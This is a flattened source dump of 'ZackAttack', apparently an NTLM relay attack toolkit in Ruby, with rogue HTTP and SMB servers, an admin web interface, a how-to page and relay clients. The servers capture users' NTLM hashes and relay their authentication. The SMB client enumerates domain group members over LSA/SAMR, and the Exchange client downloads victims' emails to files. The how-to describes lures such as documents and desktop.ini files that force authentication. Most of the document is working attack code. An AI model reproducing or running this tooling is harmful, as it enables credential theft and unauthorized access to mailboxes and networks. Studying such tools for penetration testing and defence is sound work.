' 96 | }) 97 | 98 | }(window.jQuery); -------------------------------------------------------------------------------- /lib/zfadmingui.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | require 'rubygems' 4 | require 'webrick' 5 | require 'erb' 6 | require 'config' 7 | 8 | module ZFadmingui 9 | attr_accessor :server 10 | def self.Header 11 | return ERB.new(File.read('./bootstrap/header.erb')).result(binding) 12 | end 13 | def self.Leftbar 14 | return ERB.new(File.read('./bootstrap/leftbar.erb')).result(binding) 15 | end 16 | def self.Footer 17 | return ERB.new(File.read('./bootstrap/footer.erb')).result(binding) 18 | end 19 | class Http 20 | class ZFweb3 < WEBrick::HTTPServlet::ERBHandler 21 | def do_GET(req, resp) 22 | do_POST(req,resp) 23 | end 24 | def do_POST(req, resp) 25 | WEBrick::HTTPAuth.basic_auth(req, resp, "ZackATTACK") {|user, pass| 26 | user == MGMTUser && pass == MGMTPass 27 | } 28 | 29 | if req.path == "/" then 30 | resp.status = 302 31 | resp['Location'] = "http://" + req.host + ":" + "4531" +"/index" 32 | elsif File.exists?('bootstrap' + req.path + '.erb') then 33 | @script_filename = "./bootstrap" + req.path + '.erb' 34 | else 35 | @script_filename = "./bootstrap" + '/404.erb' 36 | end 37 | super 38 | if req.query["dl"] == "1" then 39 | resp['Content-Type'] = "application/force-download" 40 | if (req.query["dlname"] != nil) then 41 | resp['Content-Disposition'] = "attachment; filename=\"" + req.query["dlname"] + "\"" 42 | end 43 | else 44 | resp['Content-Type'] = "text/html" 45 | end 46 | end 47 | end 48 | class ZFwebapi < WEBrick::HTTPServlet::AbstractServlet 49 | def do_GET(req, resp) 50 | WEBrick::HTTPAuth.basic_auth(req, resp, "ZackATTACK") {|user, pass| 51 | user == APIUser && pass == APIPass 52 | } 53 | resp['Content-Type'] = "text/html" 54 | 55 | if req.query["a"] == "type2" then 56 | require 'zfdb' 57 | zfdb = ZFdb::DB.new() 58 | domain = req.query["d"] 59 | username = req.query["u"] 60 | type2 = req.query["msg"] 61 | reqid = zfdb.AddApiReq(username,domain,type2) 62 | type3msg = zfdb.WaitForApiResp(reqid,15)[0] 63 | resp.body = type3msg 64 | end 65 | end 66 | def do_POST(req,resp) 67 | self.do_GET(req,resp) 68 | end 69 | end 70 | def initialize (ip, port) 71 | begin 72 | @s = WEBrick::HTTPServer.new(:BindAddress => ip, :Port => port, :AccessLog => [], :Logger => WEBrick::Log::new("/dev/null", 7)) 73 | rescue Errno::EADDRINUSE, Errno::EACCES 74 | puts "ADMIN HTTP - PORT IN USE OR PERMS" 75 | return false 76 | end 77 | end 78 | def start() 79 | puts "Starting Admin GUI" 80 | @s.mount("/static",WEBrick::HTTPServlet::FileHandler,"./bootstrap") 81 | @s.mount("/api",ZFwebapi) 82 | @s.mount("/",ZFweb3,"./bootstrap/index.erb") 83 | trap("INT"){ 84 | @s.shutdown 85 | } 86 | puts "\n===========================================================" 87 | puts " WELCOME TO ZackAttack! - Version 0.a.lessfail." 88 | puts " Less Bugs than..er...a version ago!" 89 | puts " No CLI Gui for Now. Connect to http://" + MGMTUser + ":" + MGMTPass + "@" + MGMTIP + ":" + MGMTPort 90 | puts "===========================================================" 91 | @s.start 92 | end 93 | end 94 | end 95 | -------------------------------------------------------------------------------- /lib/zfhttpd.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby1.8 2 | #encoding: ASCII-8BIT 3 | require 'rubygems' 4 | require 'webrick' 5 | require 'base64' 6 | require 'zfntlm' 7 | require 'zfclient' 8 | =begin 9 | notes: need to track by IP since im guessing wpad won't track cookies 10 | will redir keep authing? let's find out! 11 | =end 12 | 13 | module ZFhttpd 14 | class Server 15 | def initialize (ip, port) 16 | begin 17 | @server = TCPServer.open(ip, port) 18 | rescue Errno::EADDRINUSE, Errno::EACCES 19 | puts "HTTP - PORT IN USE OR PERMS" 20 | return false 21 | end 22 | end 23 | def start 24 | puts "Starting httpd server" 25 | zfdb = ZFdb::DB.new 26 | loop { 27 | Thread.start(@server.accept) do |cli| 28 | uid = sessid = clientconn = nil 29 | begin 30 | # cli = @server.accept #make sure you recomment dumbass 31 | print "NEW HTTPd CONNECTION [ " 32 | print cli.peeraddr[3] 33 | puts " ]!" 34 | count = 1 35 | request = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP) 36 | while (request.parse(cli)) 37 | #print "Request: " 38 | #puts request.request_uri 39 | #puts request['User-Agent'] 40 | response = WEBrick::HTTPResponse.new(WEBrick::Config::HTTP) 41 | response.content_type = "text/html" 42 | if (request['Authorization']) then 43 | ntlmdata = Base64.decode64(request['Authorization'][/NTLM (.*)/ , 1].strip) 44 | 45 | if (ntlmdata[8..11] == "\x01\x00\x00\x00") 46 | response.status = 401 47 | ntlmmsg = ZFNtlm::Message.new() 48 | if uid == nil then 49 | puts "FIRST TIMER!" 50 | @type1 = ntlmdata 51 | response['WWW-Authenticate'] = "NTLM " + Base64.encode64(ntlmmsg.buildtype2).gsub("\n",'') 52 | else 53 | begin 54 | clientconn = ZFClient::Router.new(uid,15) 55 | response['WWW-Authenticate'] = 'NTLM ' + Base64.encode64(clientconn.sendtype1(ntlmdata)).gsub("\n",'') 56 | rescue 57 | puts $! 58 | end 59 | end 60 | 61 | elsif (ntlmdata[8..11] == "\x03\x00\x00\x00") 62 | ntlmmsg = ZFNtlm::Message.new(ntlmdata) 63 | ntlmmsg.parsetype3 64 | if uid == nil then 65 | puts "HTTP user: " + ntlmmsg.domain + "\\" + ntlmmsg.username 66 | uid = zfdb.Getuserid(ntlmmsg.username,ntlmmsg.domain) 67 | sessid = zfdb.Newsession(uid,ntlmmsg.hostname,0,cli.peeraddr[3],2,request.host + request.unparsed_uri) 68 | zfdb.StoreHash(uid,ntlmmsg.lmhash,ntlmmsg.ntlmhash,"1122334455667788",sessid,Base64.encode64(ntlmdata)) 69 | else 70 | Thread.start{clientconn.sendtype3(ntlmdata)} 71 | end 72 | 73 | response.status = 302 74 | count = count + 1 75 | 76 | # TODO: DO TYPE 3 STUFF!!!! 77 | 78 | response['Location'] = "http://" + request.host + "/?id=" + count.to_s 79 | 80 | else 81 | puts "else else" 82 | end 83 | else 84 | #puts request['User-Agent'] 85 | response['WWW-Authenticate'] = "NTLM" 86 | #puts "other else" 87 | response.status = 401 88 | end 89 | #puts "sending!" 90 | response['Connection'] = "Keep-Alive" 91 | response['Keep-Alive'] = "timeout=5" 92 | response.send_response(cli) 93 | request = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP) 94 | end 95 | rescue 96 | zfdb.Endsession(sessid) 97 | puts "Session Died for " + uid.to_s + " after " + count.to_s + " times" 98 | end 99 | end 100 | } # 101 | 102 | end # 103 | def close() 104 | @server.close 105 | end 106 | end 107 | end -------------------------------------------------------------------------------- /lib/zfsmbd.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | require 'zfmoduletest' 4 | require 'zfntlm' 5 | require 'zfclient' 6 | require 'zfdb' 7 | module ZFsmb 8 | 9 | class Server 10 | 11 | attr_accessor :server 12 | 13 | def initialize (ipaddr) 14 | begin 15 | @server = TCPServer.open(ipaddr , 445) 16 | return @server 17 | rescue Errno::EADDRINUSE, Errno::EACCES 18 | puts "SMB - PORT IN USE OR PERMS" 19 | return false 20 | end 21 | end 22 | 23 | def start 24 | puts "Starting smbd server" 25 | zfdb = ZFdb::DB.new 26 | loop { 27 | Thread.start(@server.accept) do |cli| 28 | # TODO: Catch when connect 29 | #To Break threading for dev 30 | #cli = @server.accept 31 | # 32 | 33 | puts "NEW SMBd CONNECTION [ " + cli.peeraddr[3] + " ]" 34 | uid = sessid = clientconn = nil # to define context of variable 35 | count = 1 #debuging count :p 36 | begin 37 | loop { 38 | 39 | q, x = cli.recvfrom(2000) 40 | req = Client.new(q) 41 | 42 | if (req.smbcmd == "\x72") then # SMBNEGO 43 | resp = SmbNegProtoRespa.new(q) 44 | cli.write(resp.getpacket) 45 | 46 | elsif (req.smbcmd == "\x73") then # SetupAndX / SPNEGO TIME! 47 | ntlmreq = ZFsmb::Parsentlmfromspnego(req.bdata) 48 | ntlmmsg = ZFNtlm::Message.new(ntlmreq) 49 | 50 | if ntlmmsg.type == 1 then # if type 1 send type2 51 | a = ZFNtlm::Message.new() 52 | if uid == nil then 53 | resp = SetupAndXResp.new(q,ZFsmb::Buildtype2gssapi(a.buildtype2)) 54 | else 55 | clientconn = ZFClient::Router.new(uid,7) 56 | resp = SetupAndXResp.new(q,ZFsmb::Buildtype2gssapi(clientconn.sendtype1(ntlmreq))) 57 | end 58 | resp.smbstatus = "\x16\x00\x00\xc0" 59 | cli.write(resp.getpacket) 60 | 61 | elsif ntlmmsg.type == 3 then #if type 3 send OK 62 | # TODO: GET NTLM data and relay it! 63 | ntlmmsg.parsetype3 64 | if uid == nil then 65 | puts "SMB user: " + ntlmmsg.domain + "\\" + ntlmmsg.username 66 | uid = zfdb.Getuserid(ntlmmsg.username,ntlmmsg.domain) 67 | sessid = zfdb.Newsession(uid,ntlmmsg.hostname,0,cli.peeraddr[3],1,"\IPC$") 68 | zfdb.StoreHash(uid,ntlmmsg.lmhash,ntlmmsg.ntlmhash,"1122334455667788",sessid,Base64.encode64(ntlmreq)) 69 | 70 | else 71 | #puts "Passing type3" 72 | #zftest 73 | pos = q.index(/\x4e\x54\x4c\x4d\x53\x53\x50/) 74 | if q[pos-3,1] == "\x82" then len = q[pos-2,2].unpack("n")[0] 75 | else len = q[pos-1,1].unpack("C")[0] 76 | end 77 | signdata = q[pos+len,20] 78 | 79 | #zftest 80 | Thread.start{clientconn.sendtype3(ntlmreq,q)} 81 | end 82 | resp = SetupAndXResp.new(q,"\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00") 83 | count = count + 1 84 | cli.write(resp.getpacket) 85 | 86 | else 87 | puts "shit's fucked up" 88 | end 89 | elsif (req.smbcmd == "\x75") then # TreeConnectAndX 90 | 91 | path = q[/(\x5c\x00\x5c\x00.*\x00\x00)/].unpack("M*")[0].gsub("\x00","") # lazy detection of file share 92 | begin 93 | #TODO: detect if IPC$ and don't log it. 94 | if !(path.include? "IPC$") then 95 | zfdb.Setsessionpath(sessid,path) 96 | end 97 | rescue 98 | puts $! 99 | end 100 | resp = SMBReauth.new(q) 101 | cli.write(resp.getpacket) 102 | 103 | else 104 | puts "unnknown! - " + [req.smbcmd].unpack("H*") 105 | #puts "unknown!" 106 | end 107 | } 108 | rescue 109 | zfdb.Endsession(sessid) 110 | puts "Session Died for " + uid 111 | end 112 | end 113 | } 114 | # 115 | #Comment one to get rid of threading 116 | # 117 | end 118 | end 119 | end -------------------------------------------------------------------------------- /bootstrap/101.erb: -------------------------------------------------------------------------------- 1 | 2 | <%=ZFadmingui.Header%> 3 |
4 | 5 |

Getting Started!

6 |

We're going to assume you know what NTLM relaying is. You don't? Then GTFO and RTFM. Seriously. This is a tool. Not a replacement for intelligence.

7 |

First thing's first. Make sure you have permission to test this against the users and targets. Don't be stupid. And Don't Fuck This Up.

8 |

Next: The tool is broken into 4 main components

9 |

Servers

10 |

The Servers are the HTTP and SMB servers that perform the following:

11 |
  • Act as a rogue server just accepting NTLM authentication.
  • Identify who the user is with 100% certianty to fuel the rules
  • Serve up the relayed Type2 msgs and route the Type3 Messages as requested.
  • Wait till a type 2 message is in the list to be passed or keep the user on "hold" till timeout.
  • If timeout is reached, send a static 112233... type2 message
  • Keep the client re-authenticating as much as possible.
12 |

But we need more than just the servers obviously. We need ways to make the user's auto authenticate to us to get creds, thus we have...

13 |

Auth Payloads

14 |

Auth Payloads are the various ways to get clients to auto-authenticate to us using windows integrated authentication. Examples include html files, word docs, desktop.ini, emails, etc. If a payload can not be automatically generated, instructions are included on how to perform the attack to get the authentication requests.

15 |

So we have users authing to us, what we need next are..

16 |

Clients

17 |

The Clients are exactly what they sound like - clients that support NTLM relaying. These clients leverage the authenticating users connecting to the servers to connect to other servers instead.

18 |

Some clients are request driven, but we want some things auto performed, which leads us to....

19 |

Attack Rules

20 |

In order to auto-perform some acctions against a subset of some targets and other actions against another subset, rules can be written to auto perform when a user connects to the rogue server.

21 |

OK, so I get the parts, Now what?

22 |

Next step is to create rules. The rules comprise of a few parts. Keep with me here :)....

23 |

Users

24 |

They are obvious. They're identified by Domain name and User Name in conjunction of each other. The database automatically creates a uid for them, but the uid isn't of your concern. It's a linker.

25 |

User Groups

26 |

Many Users can belong to many user groups. Easy enough. Create groups for your domain users, domain admins, etc.

27 |

Targets

28 |

Targets are the systems you want to automatically attack. Populate them by IP (only ip works for now, dns name later)

29 |

Target Groups

30 |

Same as users, but for targets. Many targets can belong to many target groups. Create a group of sysadmin workstations, file servers, etc.

31 |

ZackAttack! RULES!

32 |

Of course it does, but i'm talking about the rule sets. After you define the targets and target groups and assign some users to groups, you can create rules. Rules follow very simple logic:

33 |

When you see a user that belongs to USER GROUP,
then connect to a target in TARGET GROUP
with this MODULE (i.e. smb/http/ldap/mssql)
and perform these MODULE ACTIONS (download emails/pull files/execute commands/etc.).
Optionally repeat for ALL USERS in the users group (in scenarious like email with individual access)
or ALL TARGETS in the target group (in the case of multiple servers you want shell)


34 |

make sense? good. i tried to make sure you could wrap your head arround it.

35 | 36 |

This HOWTO is really light....

37 |

I'll be writing much more soon. Wan't to get this pushed out as fast as possible. Hugs and kisses. xo xo. Less than threes with semicolon asterisks.

38 | 39 |
40 | <%=ZFadmingui.Footer%> -------------------------------------------------------------------------------- /clients/smb.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | require 'zfmoduletest' 4 | require 'zfdb' 5 | 6 | module ZFClient 7 | class Smb 8 | def initialize (server,port) 9 | @db = ZFdb::DB.new 10 | @server = server 11 | @s = TCPSocket.open(server,port) 12 | ZFsmb::Smbclientnego(@s) 13 | @q, x = @s.recvfrom(2000) 14 | end 15 | 16 | def sendtype1(type1msg) 17 | ZFsmb::Smbclientntlmnego(@s, 1, type1msg, "\x00\x00") 18 | q, x = @s.recvfrom(2000) 19 | temp = ZFsmb::Client.new(q) 20 | @uid = temp.smbuid 21 | msgresp = ZFsmb::Parsentlmfromspnego(q) 22 | a = ZFNtlm::Message.new() 23 | 24 | return msgresp 25 | end 26 | 27 | def sendtype3(type3msg,rawpkt=nil,items=nil) 28 | ZFsmb::Smbclientntlmnego(@s, 3, type3msg, @uid, rawpkt) 29 | q, x = @s.recvfrom(2000) 30 | actions = @db.GetActionItems(items["aid"]) 31 | actions.each do |act| 32 | if act[3] == 2 then 33 | puts "Not Yet Supported, but coming very soon :(" 34 | elsif act[3] == 1 then 35 | puts "enum users from group" 36 | group = (eval act[4])["group"] 37 | @s.write(ZFsmb::SmbTreeConnectAndX.new(@uid).getpacket) 38 | q, x = @s.recvfrom(2000) 39 | # TODO: Parse TREEID From Response! 40 | @s.write(ZFsmb::SmbNTCreateAndX.new(@uid).getpacket) 41 | q, x = @s.recvfrom(2000) 42 | f3 = ZFsmb::SMBTransDCEBind.new(1) 43 | fid = q[42,2] 44 | f3.setfid(fid) 45 | @s.write(f3.getpacket) 46 | q, x = @s.recvfrom(2000) 47 | @s.write(ZFsmb::LsaOpenPolicy.new(fid).getpacket) 48 | q, x = @s.recvfrom(2000) 49 | handle = ZFsmb.Parsehandle(q) 50 | f5 = ZFsmb::LsaQueryInfoPolicy.new(handle, fid) 51 | @s.write(f5.getpacket) 52 | q, x = @s.recvfrom(2000) 53 | sid = ZFsmb::ParsesidFromLSA(q) 54 | f = ZFsmb::LsaClose.new(handle, fid) 55 | @s.write(f.getpacket) 56 | q, x = @s.recvfrom(2000) 57 | f = ZFsmb::SMBClose.new(fid,@uid) 58 | @s.write(f.getpacket) 59 | q, x = @s.recvfrom(2000) 60 | f = ZFsmb::SmbNTCreateAndX.new(@uid,"\\samr") 61 | @s.write(f.getpacket) 62 | q, x = @s.recvfrom(2000) 63 | fid = q[42,2] 64 | f3 = ZFsmb::SMBTransDCEBind.new(2) 65 | f3.setfid(fid) 66 | @s.write(f3.getpacket) 67 | q, x = @s.recvfrom(2000) 68 | f = ZFsmb::SamrConnect.new(@server,fid) 69 | @s.write(f.getpacket) 70 | q, x = @s.recvfrom(2000) 71 | handle = ZFsmb.Parsehandle(q) 72 | f = ZFsmb::SamrOpenDomain.new(handle, fid, sid) 73 | @s.write(f.getpacket) 74 | q, x = @s.recvfrom(2000) 75 | handle2 = ZFsmb.Parsehandle(q) 76 | f = ZFsmb::SamrLookupNames.new(handle2, fid, group) 77 | @s.write(f.getpacket) 78 | q, x = @s.recvfrom(2000) 79 | if q[q.length-4,4] == "\x73\x00\x00\xc0" then 80 | @s.write(ZFsmb::SamrClose.new(handle2, fid).getpacket) 81 | q, x = @s.recvfrom(2000) 82 | sid = "\x01\x01\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00" 83 | f = ZFsmb::SamrOpenDomain.new(handle, fid, sid) 84 | @s.write(f.getpacket) 85 | q2, x = @s.recvfrom(2000) 86 | handle2 = ZFsmb.Parsehandle(q2) 87 | f = ZFsmb::SamrLookupNames.new(handle2, fid, group) 88 | @s.write(f.getpacket) 89 | q, x = @s.recvfrom(2000) 90 | if q[q.length-4,4] != "\x00\x00\x00\x00" then 91 | puts "shits fucked up" 92 | end 93 | elsif q[q.length-4,4] != "\x00\x00\x00\x00" then 94 | puts "crap" 95 | end 96 | rid = ZFsmb.ParseSamrLookup(q) 97 | #rid="\x20\x02\x00\x00" #TODO parse out later 98 | f = ZFsmb::SamrOpenAlias.new(handle2, fid, rid) 99 | @s.write(f.getpacket) 100 | q, x = @s.recvfrom(2000) 101 | aliashandle = ZFsmb.Parsehandle(q) 102 | f = ZFsmb::SamrGetMembersInAlias.new(aliashandle, fid) 103 | @s.write(f.getpacket) 104 | q, x = @s.recvfrom(2000) 105 | wtf = ZFsmb.ParseGetMembersInAlias(q) 106 | #TODO parse sids 107 | @s.write(ZFsmb::SmbNTCreateAndX.new(@uid).getpacket) 108 | q, x = @s.recvfrom(2000) 109 | f3 = ZFsmb::SMBTransDCEBind.new(1) 110 | fid2 = q[42,2] 111 | f3.setfid(fid2) 112 | @s.write(f3.getpacket) 113 | q, x = @s.recvfrom(2000) 114 | @s.write(ZFsmb::LsaOpenPolicy.new(fid2).getpacket) 115 | q, x = @s.recvfrom(2000) 116 | lsahandle = ZFsmb.Parsehandle(q) 117 | f = ZFsmb::LsaLookupSids.new(lsahandle, fid2, wtf) 118 | @s.write(f.getpacket) 119 | q, x = @s.recvfrom(2000) 120 | ZFsmb.Parselookupsid(q, wtf) 121 | @s.write(ZFsmb::SMBClose.new(fid2,@uid).getpacket) 122 | q, x = @s.recvfrom(2000) 123 | @s.write(ZFsmb::SMBClose.new(fid,@uid).getpacket) 124 | q, x = @s.recvfrom(2000) 125 | else 126 | puts "unknown smb" 127 | end 128 | 129 | end 130 | end 131 | end 132 | end -------------------------------------------------------------------------------- /bootstrap/users.erb: -------------------------------------------------------------------------------- 1 | <% 2 | db = ZFdb::DB.new() 3 | if servlet_request.query["action"] == "group" then 4 | if !(servlet_request.query["group"]=="") then db.GetGroupID(servlet_request.query["group"]) end 5 | elsif servlet_request.query["action"] == "user" then 6 | if !(servlet_request.query["user"]=="") then db.Getuserid(servlet_request.query["user"],servlet_request.query["domain"]) end 7 | elsif servlet_request.query["action"] == "addutog" then 8 | if !(servlet_request.query["group"]=="") then 9 | gid = db.GetGroupID(servlet_request.query["group"]) 10 | db.AddUserToGroup(servlet_request.query["uid"],gid) 11 | end 12 | elsif servlet_request.query["action"] == "delufromg" then 13 | db.DelUserFromGroup(servlet_request.query["duid"],servlet_request.query["dgid"]) 14 | end 15 | #delufromg 16 | #catch nulls 17 | %> 18 | <%=ZFadmingui.Header%> 19 | 20 |
21 | <%=ZFadmingui.Leftbar%> 22 |
23 |
24 |
25 |
26 |

Users Discovered:


27 |
28 | 29 | \ 30 | 31 |
32 | 33 | 34 | 35 | 36 | 37 | <%udb = db.GetUsers 38 | udb.each do |result| 39 | if result[2] == "" then result[2] = "WORKGROUP" end 40 | %> 41 | 42 | <%end%> 43 | 44 |
uIDuserNameLast SeenLast SourceMethodPath
<%=result[0]%><%=result[2]%>\<%=result[1]%><%=result[4]%><%=result[5]%><%= if result[6]==1 then "SMB" elsif result[6]==2 then "HTTP" else "Unknown" end%><%=result[7]%>Add To Group
45 |
46 |
47 |
48 |
49 |

Groups:


50 |
51 | 52 | 53 |
54 | 55 | 56 | 57 | 58 | 59 | 60 | <%gdb = db.GetGroups 61 | gdb.each do |result| %> 62 | 63 | <%end%> 64 | 65 |
gIDgroupNamemembers
<%=result[0]%><%=result[1]%><%db.GetGroupMembers(result[0]).each do |inf|%><%if !(inf[1]==nil) then%><%=inf[2]%>\<%=inf[1]%> delete
<%end end%>
66 |
67 |
68 | 69 |
70 | 91 | 92 | 93 | 110 | <%=ZFadmingui.Footer%> -------------------------------------------------------------------------------- /clients/ews.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | #encoding: ASCII-8BIT 3 | =begin 4 | exchange web services client 5 | =end 6 | require 'net/http' 7 | require 'net/https' 8 | require 'base64' 9 | require 'zfdb' 10 | #TODO: Fix below so there's not a 1 or 2. For some reason .gsub("CHANGEME",folder) wasn't working 11 | Ews_id_query1 = ' 12 | 13 | 14 | 15 | 16 | IdOnly 17 | 18 | 19 | 21 | 22 | 23 | 24 | ' 25 | 26 | 27 | Info3 = ' 28 | 29 | 30 | 31 | 32 | Default 33 | true 34 | 35 | ' 36 | Info4 = ' 37 | 38 | 39 | ' 40 | 41 | module ZFClient 42 | class EWS 43 | def initialize (server,port) 44 | @db = ZFdb::DB.new 45 | @client = Net::HTTP.new(server, port) or return false 46 | if port == 443 then @client.use_ssl = true end 47 | @client.verify_mode = OpenSSL::SSL::VERIFY_NONE 48 | return @client.start 49 | 50 | end 51 | 52 | def connect 53 | 54 | end 55 | 56 | def sendtype1(type1msg) 57 | request = Net::HTTP::Post.new('/ews/Exchange.asmx') 58 | 59 | request['authorization'] = 'NTLM ' + Base64.encode64(type1msg).gsub("\n",'').strip 60 | request['Content-Length'] = '0' 61 | request['Content-Type'] = "text/xml" 62 | request['Connection'] = "Keep-Alive" 63 | begin response = @client.request(request) or return false end 64 | chal = response['www-authenticate'][/NTLM (.*)/ , 1].split(',')[0] 65 | 66 | return Base64.decode64(chal).gsub("\n",'') 67 | end 68 | 69 | def sendtype3(type3msg, rawpkt, items=nil) 70 | request = Net::HTTP::Post.new('/ews/Exchange.asmx') 71 | asdf = ZFNtlm::Message.new(type3msg) 72 | asdf.parsetype3() 73 | puts items.inspect 74 | actions = @db.GetActionItems(items["aid"]) 75 | # TODO change to just check if auth worked. 76 | request['Content-Type'] = "text/xml" 77 | request['Connection'] = "Keep-Alive" 78 | request['Authorization'] = 'NTLM ' + Base64.encode64(type3msg).gsub("\n",'').strip 79 | woof = Ews_id_query1 + "trash" + Ews_id_query2 80 | #woof.sub("CHANGEME","trash") 81 | request['Content-Length'] = woof.length 82 | request.body = woof 83 | response = @client.request(request) 84 | 85 | #TODO check auth status 86 | actions.each do |act| 87 | if act[3] == 1 then #get emails 88 | folder = (eval act[4])["folder"] 89 | body = Ews_id_query1 + folder + Ews_id_query2 90 | #puts body 91 | request = Net::HTTP::Post.new('/ews/Exchange.asmx') 92 | request['Content-Type'] = "text/xml" 93 | request['Connection'] = "Keep-Alive" 94 | request['Content-Length'] = body.length 95 | request.body = body 96 | puts request.body 97 | response = @client.request(request) 98 | 99 | request2 = Net::HTTP::Post.new('/ews/Exchange.asmx') 100 | request2['Content-Type'] = "text/xml" 101 | request2['Connection'] = "Keep-Alive" 102 | countdrac = 0 103 | io = File.open './results/ews-' + asdf.domain + "-" + asdf.username + '.txt', 'w' 104 | 105 | response.body.scan(/t:Message>(.*?)<\/t:Message/i) do |gophers| 106 | puts "Enumerating through previous obtained message IDs: " 107 | q = Info3.to_s + gophers[0].to_s() + Info4.to_s 108 | request2['Content-Length'] = q.length 109 | request2.body = q 110 | #puts gophers 111 | @client.request request2 do |res| 112 | countdrac = countdrac + 1 113 | puts countdrac 114 | io.write res.body 115 | end 116 | end 117 | elsif act[3] == 2 then # get calendar 118 | 119 | elsif act[3] == 3 then # get contacts 120 | 121 | else puts "unknown action for ews" 122 | end 123 | 124 | end 125 | return true 126 | end 127 | 128 | def execute 129 | 130 | end 131 | end 132 | end -------------------------------------------------------------------------------- /bootstrap/js/bootstrap-modal.js: -------------------------------------------------------------------------------- 1 | /* ========================================================= 2 | * bootstrap-modal.js v2.0.4 3 | * http://twitter.github.com/bootstrap/javascript.html#modals 4 | * ========================================================= 5 | * Copyright 2012 Twitter, Inc. 6 | * 7 | * Licensed under the Apache License, Version 2.0 (the "License"); 8 | * you may not use this file except in compliance with the License. 9 | * You may obtain a copy of the License at 10 | * 11 | * http://www.apache.org/licenses/LICENSE-2.0 12 | * 13 | * Unless required by applicable law or agreed to in writing, software 14 | * distributed under the License is distributed on an "AS IS" BASIS, 15 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | * See the License for the specific language governing permissions and 17 | * limitations under the License. 18 | * ========================================================= */ 19 | 20 | 21 | !function ($) { 22 | 23 | "use strict"; // jshint ;_; 24 | 25 | 26 | /* MODAL CLASS DEFINITION 27 | * ====================== */ 28 | 29 | var Modal = function (content, options) { 30 | this.options = options 31 | this.$element = $(content) 32 | .delegate('[data-dismiss="modal"]', 'click.dismiss.modal', $.proxy(this.hide, this)) 33 | } 34 | 35 | Modal.prototype = { 36 | 37 | constructor: Modal 38 | 39 | , toggle: function () { 40 | return this[!this.isShown ? 'show' : 'hide']() 41 | } 42 | 43 | , show: function () { 44 | var that = this 45 | , e = $.Event('show') 46 | 47 | this.$element.trigger(e) 48 | 49 | if (this.isShown || e.isDefaultPrevented()) return 50 | 51 | $('body').addClass('modal-open') 52 | 53 | this.isShown = true 54 | 55 | escape.call(this) 56 | backdrop.call(this, function () { 57 | var transition = $.support.transition && that.$element.hasClass('fade') 58 | 59 | if (!that.$element.parent().length) { 60 | that.$element.appendTo(document.body) //don't move modals dom position 61 | } 62 | 63 | that.$element 64 | .show() 65 | 66 | if (transition) { 67 | that.$element[0].offsetWidth // force reflow 68 | } 69 | 70 | that.$element.addClass('in') 71 | 72 | transition ? 73 | that.$element.one($.support.transition.end, function () { that.$element.trigger('shown') }) : 74 | that.$element.trigger('shown') 75 | 76 | }) 77 | } 78 | 79 | , hide: function (e) { 80 | e && e.preventDefault() 81 | 82 | var that = this 83 | 84 | e = $.Event('hide') 85 | 86 | this.$element.trigger(e) 87 | 88 | if (!this.isShown || e.isDefaultPrevented()) return 89 | 90 | this.isShown = false 91 | 92 | $('body').removeClass('modal-open') 93 | 94 | escape.call(this) 95 | 96 | this.$element.removeClass('in') 97 | 98 | $.support.transition && this.$element.hasClass('fade') ? 99 | hideWithTransition.call(this) : 100 | hideModal.call(this) 101 | } 102 | 103 | } 104 | 105 | 106 | /* MODAL PRIVATE METHODS 107 | * ===================== */ 108 | 109 | function hideWithTransition() { 110 | var that = this 111 | , timeout = setTimeout(function () { 112 | that.$element.off($.support.transition.end) 113 | hideModal.call(that) 114 | }, 500) 115 | 116 | this.$element.one($.support.transition.end, function () { 117 | clearTimeout(timeout) 118 | hideModal.call(that) 119 | }) 120 | } 121 | 122 | function hideModal(that) { 123 | this.$element 124 | .hide() 125 | .trigger('hidden') 126 | 127 | backdrop.call(this) 128 | } 129 | 130 | function backdrop(callback) { 131 | var that = this 132 | , animate = this.$element.hasClass('fade') ? 'fade' : '' 133 | 134 | if (this.isShown && this.options.backdrop) { 135 | var doAnimate = $.support.transition && animate 136 | 137 | this.$backdrop = $('